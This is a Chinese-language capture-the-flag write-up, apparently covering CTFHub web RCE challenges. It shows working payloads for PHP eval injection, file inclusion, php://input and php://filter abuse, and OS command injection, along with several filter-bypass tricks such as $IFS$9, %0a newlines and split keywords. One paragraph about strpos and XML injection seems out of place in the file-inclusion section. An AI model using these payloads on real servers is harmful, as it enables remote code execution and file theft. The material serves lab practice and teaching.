eval执行

从源代码来看,这里就是直接eval输出request请求的cmd命令
1-1
那我们直接查看目录?cmd=system("ls");
1-2
这里并没有发现有用的东西,我们访问前一级目录,?cmd=system("ls%20/");
1-3
发现flag_15266,?cmd=system("cat%20/flag_15266");
1-4

文件包含

从源码发现这里有一个file参数,且这里有一个shell.txt。
strpos 函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标,则返回下标 0 ;如果搜索不到,则返回 false 。在这道题目中,开发者只考虑到 strpos 函数返回 false 的情况,却忽略了匹配到的字符在首位时会返回 0 的情况,因为 false和 0 的取反均为 true 。 这样我们就可以在用户名和密码首字符注入 < 符号,从而注入xml数据。
2-1
那我们让file=shell.txt
2-2
点开链接发现shell内容,这里能够传入ctfhub参数的值
2-3
用hackerbar编写ctfhub内容并传入,查看目录
2-4
查看上一级目录
2-5
输出flag值
2-6

php://input

从源码发现这里的file必须以php://开头,且这一关没有脚本可以使用。
3-1
知识点 php://input
php:// — 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。
这里通过burpsuite构造php代码,先查看目录
3-2
查看上一级目录
3-3
输出flag
3-4

读取源代码

php://filter的主要作用是提供一种机制,让您可以轻松地在数据流上应用一个或多个过滤器。
php://filter 的基本格式如下:
php://filter/read=?/resource=?
这关代码和上一关一样,但是不能使用php://input,由于题目提示flag in /flag,我们将资源位置改成该位置,编码方式采用base64。
payload:?file=php://filter/read=convert.base64-encode/resource=/flag
得到base64编码的flag
4-1
通过hackbar的解码功能解码base64
4-2

远程包含

从源代码看,我们不能通过文件路径直接访问flag
5-1
这关可以直接采用php://input上传我们的php代码执行system命令。查看目录<?php system('ls')?>
5-2
查看上级目录<?php system('ls /')?>
5-3
输出flag
5-4

命令注入

这里会根据输入的ip执行一定的命令,且无过滤。
6-1
再linux中;,||,&&都可以用于分割多条命令
;:各个命令都执行
||:前一条执行失败才执行后一条
&&:前一条执行成功才执行后一条
输入ip;ls
6-2
输入ip;ls /,并没有发现flag
6-3
查找目录中的php文件,;cat 1420527519584.php,打不开
6-4
应该是有特殊字符,使用base64加密输出,;cat 1420527519584.php | base64
6-5
hackbar解码
6-6

过滤cat

这一关将cat过滤了,我们使用其他命令读取即可
7-1
先查看目录,;ls
7-2
linux查看文本的命令
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
使用more查看flag文件,base64编码,并使用hackbar解码
7-3

过滤空格

这里将空格过滤了,那我们考虑有什么方法不用空格还能执行命令的方法
8-1
查看目录
8-2
搜索查到绕过方式

1
2
3
4
5
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

我们使用<替换空格,;cat$IFS$9flag_325972945528.php|base64,试了<不知道为什么不行
8-3

过滤目录分隔符

从代码来看,这里过滤了目录分隔符/
9-1
查看目录发现,flag再当前目录的文件夹里,但是我们不能使用/,想其他办法访问子文件夹
9-2
我们可以cd命令改变当前文件夹,进入到子文件夹,再通过cat输出flag,即写三个命令。
;cd flag_is_here;cat flag_5807214223441.php|base64
9-3

过滤运算符

这关过滤了|&
10-1
查看目录发现flag就在该目录下
10-2
;cat flag_18969215614994.php|base64含有管道符无法执行,搜索发现,可以直接base64 flag.php编码输出
;base64 flag_18969215614994.php
10-3

综合过滤练习

这一关过滤了太多太多| & ; cat flag ctfhub 空格
11-1
url中传给ip值,?ip=110.242.68.66%0als#
11-2
payload?ip=110.242.68.66%0acd$IFS$9fla\g_is_here%0als#%0a替换分号,$IFS$9替换空格,\分开flag
11-3
payload?ip=110.242.68.66%0acd$IFS$9fla\g_is_here%0abase64$IFS$9fla\g_566967514602.php#
base64替换cat
11-4
查找其他资料发现flag也可以用正则f***绕过